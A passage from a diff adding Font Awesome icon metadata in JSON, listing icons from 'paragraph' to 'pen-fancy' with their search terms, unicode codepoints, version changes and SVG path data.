192h8.7c9.3 0 17.2-7.8 16.1-17z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z" + } + }, + "free": [ + "solid" + ] + }, + "paragraph": { + "changes": [ + "4.1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "format", + "text", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1dd", + "label": "paragraph", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635622, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "parking": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "auto", + "car", + "garage", + "meter" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f540", + "label": "Parking", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635623, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "passport": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "id", + "identification", + "issued", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ab", + "label": "Passport", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635623, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z" + } + }, + "free": [ + "solid" + ] + }, + "pastafarianism": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "agnosticism", + "atheism", + "flying spaghetti monster", + "fsm" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f67b", + "label": "Pastafarianism", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635624, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z" + } + }, + "free": [ + "solid" + ] + }, + "paste": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clipboard", + "copy", + "document", + "paper" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ea", + "label": "Paste", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635624, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z" + } + }, + "free": [ + "solid" + ] + }, + "patreon": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d9", + "label": "Patreon", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861011, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z" + } + }, + "free": [ + "brands" + ] + }, + "pause": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "hold", + "wait" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f04c", + "label": "pause", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635624, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z" + } + }, + "free": [ + "solid" + ] + }, + "pause-circle": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "hold", + "wait" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f28b", + "label": "Pause Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635624, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z" + }, + "regular": { + "last_modified": 1628088634938, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "paw": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "animal", + "cat", + "dog", + "pet", + "print" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1b0", + "label": "Paw", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635625, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z" + } + }, + "free": [ + "solid" + ] + }, + "paypal": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1ed", + "label": "Paypal", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861011, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z" + } + }, + "free": [ + "brands" + ] + }, + "peace": { + "changes": [ + "5.3.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "serenity", + "tranquility", + "truce", + "war" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f67c", + "label": "Peace", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635626, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z" + } + }, + "free": [ + "solid" + ] + }, + "pen": { + "changes": [ + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "edit", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f304", + "label": "Pen", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635627, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z" + } + }, + "free": [ + "solid" + ] + }, + "pen-alt": { + "changes": [ + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "edit", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f305", + "label": "Alternate Pen", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635626, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z" + } + }, + "free": [ + "solid" + ] + }, + "pen-fancy": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "edit", + "fountain pen", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ac", + "label": "Pen Fancy", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635626, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 